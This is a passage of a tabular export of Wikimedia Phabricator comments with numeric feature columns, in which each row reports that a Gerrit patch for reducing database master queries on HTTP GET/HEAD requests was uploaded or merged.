[[https://gerrit.wikimedia.org/r/309861]]",,,1473748853,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,62,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.08,0.92,"Change 309861 merged by jenkins-bot:
Avoid page_touched update for HTTP GET action=purge requests

[[GERRIT_URL]]"
726507,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309877 had a related patch set uploaded (by Aaron Schulz):
Make CentralAuthUser::register() trigger importLocalNames()

[[https://gerrit.wikimedia.org/r/309877]]
",,,1473626657,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,62,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.448275862068965,0.7931034482758621,"Change 309877 had a related patch set uploaded (by Aaron Schulz):
Make CentralAuthUser::register() trigger importLocalNames()

[[GERRIT_URL]]
"
726504,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309868 had a related patch set uploaded (by Aaron Schulz):
Make SessionBackend::save() update the user post-send

[[https://gerrit.wikimedia.org/r/309868]]
",,,1473623801,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,62,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.903225806451613,0.8709677419354839,"Change 309868 had a related patch set uploaded (by Aaron Schulz):
Make SessionBackend::save() update the user post-send

[[GERRIT_URL]]
"
726492,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 309861 had a related patch set uploaded (by Aaron Schulz):
Avoid page_touched update for HTTP GET action=purge requests

[[https://gerrit.wikimedia.org/r/309861]]
",,,1473619811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,62,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.064516129032258,0.9032258064516129,"Change 309861 had a related patch set uploaded (by Aaron Schulz):
Avoid page_touched update for HTTP GET action=purge requests

[[GERRIT_URL]]
"
697344,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 299880 merged by jenkins-bot:
Fix central logout

[[https://gerrit.wikimedia.org/r/299880]]",,,1468969812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,54,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.611111111111111,0.8888888888888888,"Change 299880 merged by jenkins-bot:
Fix central logout

[[GERRIT_URL]]"
697298,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 299880 had a related patch set uploaded (by Gergő Tisza):
Fix central logout

[[https://gerrit.wikimedia.org/r/299880]]
",,,1468966565,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,54,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6666666666666665,0.875,"Change 299880 had a related patch set uploaded (by Gergő Tisza):
Fix central logout

[[GERRIT_URL]]
"
689351,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 297577 merged by jenkins-bot:
Avoid DBPerformance log warnings in onUserLogout()

[[https://gerrit.wikimedia.org/r/297577]]",,,1467804202,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.086956521739131,0.9130434782608695,"Change 297577 merged by jenkins-bot:
Avoid DBPerformance log warnings in onUserLogout()

[[GERRIT_URL]]"
689348,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 297577 had a related patch set uploaded (by Gergő Tisza):
Avoid DBPerformance log warnings in onUserLogout()

[[https://gerrit.wikimedia.org/r/297577]]
",,,1467804046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.0344827586206895,0.8620689655172413,"Change 297577 had a related patch set uploaded (by Gergő Tisza):
Avoid DBPerformance log warnings in onUserLogout()

[[GERRIT_URL]]
"
677531,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 292522 merged by jenkins-bot:
Avoid DBPerformance warnings in writeToDatabase()

[[https://gerrit.wikimedia.org/r/292522]]",,,1465547698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,49,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.2727272727272725,0.9090909090909091,"Change 292522 merged by jenkins-bot:
Avoid DBPerformance warnings in writeToDatabase()

[[GERRIT_URL]]"
674365,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 292524 merged by jenkins-bot:
Avoid DBPerformance warnings in Category::initialize()

[[https://gerrit.wikimedia.org/r/292524]]",,,1464993550,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.5,0.9090909090909091,"Change 292524 merged by jenkins-bot:
Avoid DBPerformance warnings in Category::initialize()

[[GERRIT_URL]]"
673812,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 292524 had a related patch set uploaded (by Aaron Schulz):
Avoid DBPerformance warnings in Category::initialize()

[[https://gerrit.wikimedia.org/r/292524]]
",,,1464930487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,48,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.392857142857143,0.8571428571428571,"Change 292524 had a related patch set uploaded (by Aaron Schulz):
Avoid DBPerformance warnings in Category::initialize()

[[GERRIT_URL]]
"
673811,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 292522 had a related patch set uploaded (by Aaron Schulz):
Avoid DBPerformance warnings in writeToDatabase()

[[https://gerrit.wikimedia.org/r/292522]]
",,,1464929915,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,48,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.214285714285714,0.8571428571428571,"Change 292522 had a related patch set uploaded (by Aaron Schulz):
Avoid DBPerformance warnings in writeToDatabase()

[[GERRIT_URL]]
"
670096,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 290865 merged by jenkins-bot:
Avoid master queries/writes in listUnattached()

[[https://gerrit.wikimedia.org/r/290865]]",,,1464363195,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.8333333333333335,0.9166666666666666,"Change 290865 merged by jenkins-bot:
Avoid master queries/writes in listUnattached()

[[GERRIT_URL]]"
669735,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 291109 merged by jenkins-bot:
Avoid master queries on HTTP GET in getVisibilitySettingsFromRow()

[[https://gerrit.wikimedia.org/r/291109]]",,,1464303972,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.32,0.92,"Change 291109 merged by jenkins-bot:
Avoid master queries on HTTP GET in getVisibilitySettingsFromRow()

[[GERRIT_URL]]"
669624,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 291109 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on HTTP GET in getVisibilitySettingsFromRow()

[[https://gerrit.wikimedia.org/r/291109]]
",,,1464297690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.258064516129032,0.8709677419354839,"Change 291109 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on HTTP GET in getVisibilitySettingsFromRow()

[[GERRIT_URL]]
"
669325,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289811 merged by jenkins-bot:
Avoid DBPerformance warnings on PURGE/TRACE requests

[[https://gerrit.wikimedia.org/r/289811]]",,,1464281109,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.173913043478261,0.9130434782608695,"Change 289811 merged by jenkins-bot:
Avoid DBPerformance warnings on PURGE/TRACE requests

[[GERRIT_URL]]"
668853,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 290865 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries/writes in listUnattached()

[[https://gerrit.wikimedia.org/r/290865]]
",,,1464229491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8666666666666667,0.8666666666666667,"Change 290865 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries/writes in listUnattached()

[[GERRIT_URL]]
"
665695,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289810 merged by jenkins-bot:
Avoid master connection in recacheMessageCount()

[[https://gerrit.wikimedia.org/r/289810]]",,,1463727080,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.2272727272727275,0.9090909090909091,"Change 289810 merged by jenkins-bot:
Avoid master connection in recacheMessageCount()

[[GERRIT_URL]]"
665670,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289811 had a related patch set uploaded (by Aaron Schulz):
Avoid DBPerformance warnings on PURGE/TRACE requests

[[https://gerrit.wikimedia.org/r/289811]]
",,,1463715092,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,28.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.137931034482759,0.896551724137931,"Change 289811 had a related patch set uploaded (by Aaron Schulz):
Avoid DBPerformance warnings on PURGE/TRACE requests

[[GERRIT_URL]]
"
665665,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289810 had a related patch set uploaded (by Aaron Schulz):
Avoid master connection in recacheMessageCount()

[[https://gerrit.wikimedia.org/r/289810]]
",,,1463713416,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.178571428571429,0.8571428571428571,"Change 289810 had a related patch set uploaded (by Aaron Schulz):
Avoid master connection in recacheMessageCount()

[[GERRIT_URL]]
"
665599,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289730 merged by jenkins-bot:
Avoid master queries on GET in showPermissionError()

[[https://gerrit.wikimedia.org/r/289730]]",,,1463700104,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.9583333333333335,0.9166666666666666,"Change 289730 merged by jenkins-bot:
Avoid master queries on GET in showPermissionError()

[[GERRIT_URL]]"
665472,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289730 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on GET in showPermissionError()

[[https://gerrit.wikimedia.org/r/289730]]
",,,1463690021,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.966666666666667,0.8666666666666667,"Change 289730 had a related patch set uploaded (by Aaron Schulz):
Avoid master queries on GET in showPermissionError()

[[GERRIT_URL]]
"
664452,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289431 merged by Thcipriani:
Fix central logout

[[https://gerrit.wikimedia.org/r/289431]]",,,1463585960,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.875,"Change 289431 merged by Thcipriani:
Fix central logout

[[GERRIT_URL]]"
664446,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 289431 had a related patch set uploaded (by Gergő Tisza):
Fix central logout

[[https://gerrit.wikimedia.org/r/289431]]
